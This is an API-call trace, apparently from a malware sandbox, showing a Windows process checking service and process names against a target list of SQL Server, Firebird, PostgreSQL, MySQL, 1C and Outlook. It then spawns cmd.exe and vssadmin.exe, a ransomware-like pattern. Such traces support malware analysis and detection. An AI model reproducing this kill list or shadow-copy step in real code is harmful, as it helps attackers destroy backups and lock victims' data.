	[0045.593] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0045.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0045.594] lstrlenW (lpString="SysMain") returned 7
	[0045.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0045.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0045.594] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0045.594] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0045.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0045.594] lstrlenW (lpString="Themes") returned 6
	[0045.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0045.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0045.594] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0045.594] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0045.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0045.594] lstrlenW (lpString="TrkWks") returned 6
	[0045.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0045.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0045.594] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0045.594] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0045.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0045.594] lstrlenW (lpString="UxSms") returned 5
	[0045.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0045.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0045.594] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0045.594] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0045.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0045.594] lstrlenW (lpString="VSS") returned 3
	[0045.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0045.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0045.594] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0045.594] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0045.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0045.595] lstrlenW (lpString="WdiServiceHost") returned 14
	[0045.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0045.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0045.595] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0045.595] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0045.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0045.595] lstrlenW (lpString="WdiSystemHost") returned 13
	[0045.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0045.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0045.595] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0045.595] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0045.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0045.595] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0045.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0045.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0045.595] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0045.595] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0045.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0045.595] lstrlenW (lpString="Winmgmt") returned 7
	[0045.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0045.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0045.595] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0045.595] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0045.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0045.595] lstrlenW (lpString="WPDBusEnum") returned 10
	[0045.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0045.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0045.595] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0045.595] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0045.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0045.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x36a4310 | out: hHeap=0x4f0000) returned 1
	[0045.596] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8
	[0045.598] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0045.599] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0045.600] lstrlenW (lpString="System") returned 6
	[0045.600] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0045.600] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0045.600] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0045.600] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0045.600] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0045.600] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0045.600] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0045.600] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0045.601] lstrlenW (lpString="smss.exe") returned 8
	[0045.601] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0045.601] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0045.601] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0045.601] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0045.601] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0045.601] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0045.601] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0045.601] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0045.602] lstrlenW (lpString="csrss.exe") returned 9
	[0045.602] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0045.602] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0045.602] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0045.602] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0045.602] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0045.602] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0045.602] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0045.602] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0045.603] lstrlenW (lpString="wininit.exe") returned 11
	[0045.603] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0045.603] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0045.603] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0045.603] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0045.604] lstrlenW (lpString="csrss.exe") returned 9
	[0045.604] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0045.605] lstrlenW (lpString="winlogon.exe") returned 12
	[0045.605] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0045.605] lstrlenW (lpString="services.exe") returned 12
	[0045.605] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0045.606] lstrlenW (lpString="lsass.exe") returned 9
	[0045.606] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0045.607] lstrlenW (lpString="lsm.exe") returned 7
	[0045.607] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.607] lstrlenW (lpString="svchost.exe") returned 11
	[0045.608] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.608] lstrlenW (lpString="svchost.exe") returned 11
	[0045.608] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.609] lstrlenW (lpString="svchost.exe") returned 11
	[0045.609] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.610] lstrlenW (lpString="svchost.exe") returned 11
	[0045.610] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.610] lstrlenW (lpString="svchost.exe") returned 11
	[0045.610] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0045.611] lstrlenW (lpString="audiodg.exe") returned 11
	[0045.611] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.612] lstrlenW (lpString="svchost.exe") returned 11
	[0045.612] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.612] lstrlenW (lpString="svchost.exe") returned 11
	[0045.613] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0045.613] lstrlenW (lpString="dwm.exe") returned 7
	[0045.613] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0045.614] lstrlenW (lpString="explorer.exe") returned 12
	[0045.614] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0045.615] lstrlenW (lpString="spoolsv.exe") returned 11
	[0045.615] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0045.616] lstrlenW (lpString="taskhost.exe") returned 12
	[0045.616] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.616] lstrlenW (lpString="svchost.exe") returned 11
	[0045.616] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0045.617] lstrlenW (lpString="taskeng.exe") returned 11
	[0045.617] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0045.618] lstrlenW (lpString="taskhost.exe") returned 12
	[0045.618] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0045.618] lstrlenW (lpString="program.exe") returned 11
	[0045.618] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0045.619] lstrlenW (lpString="felt.exe") returned 8
	[0045.619] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0045.620] lstrlenW (lpString="bibliography.exe") returned 16
	[0045.620] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0045.620] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0045.620] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0045.775] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0045.775] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0045.776] lstrlenW (lpString="converter.exe") returned 13
	[0045.776] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0045.777] lstrlenW (lpString="once.exe") returned 8
	[0045.777] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0045.777] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0045.777] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0045.778] lstrlenW (lpString="always.exe") returned 10
	[0045.778] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0045.779] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0045.779] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0045.780] lstrlenW (lpString="donated.exe") returned 11
	[0045.780] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0045.780] lstrlenW (lpString="nowherepike.exe") returned 15
	[0045.780] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0045.781] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0045.781] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0045.782] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0045.782] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0045.782] lstrlenW (lpString="allowance.exe") returned 13
	[0045.783] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0045.783] lstrlenW (lpString="conducting affect.exe") returned 21
	[0045.783] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0045.784] lstrlenW (lpString="plaintiff.exe") returned 13
	[0045.784] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0045.785] lstrlenW (lpString="dialog.exe") returned 10
	[0045.785] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0045.786] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0045.786] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0045.786] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0045.787] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0045.787] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0045.787] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0045.788] lstrlenW (lpString="swpesp.exe") returned 10
	[0045.788] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0045.789] lstrlenW (lpString="cmd.exe") returned 7
	[0045.789] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0045.789] lstrlenW (lpString="conhost.exe") returned 11
	[0045.789] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0045.790] lstrlenW (lpString="vssadmin.exe") returned 12
	[0045.790] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0045.791] lstrlenW (lpString="VSSVC.exe") returned 9
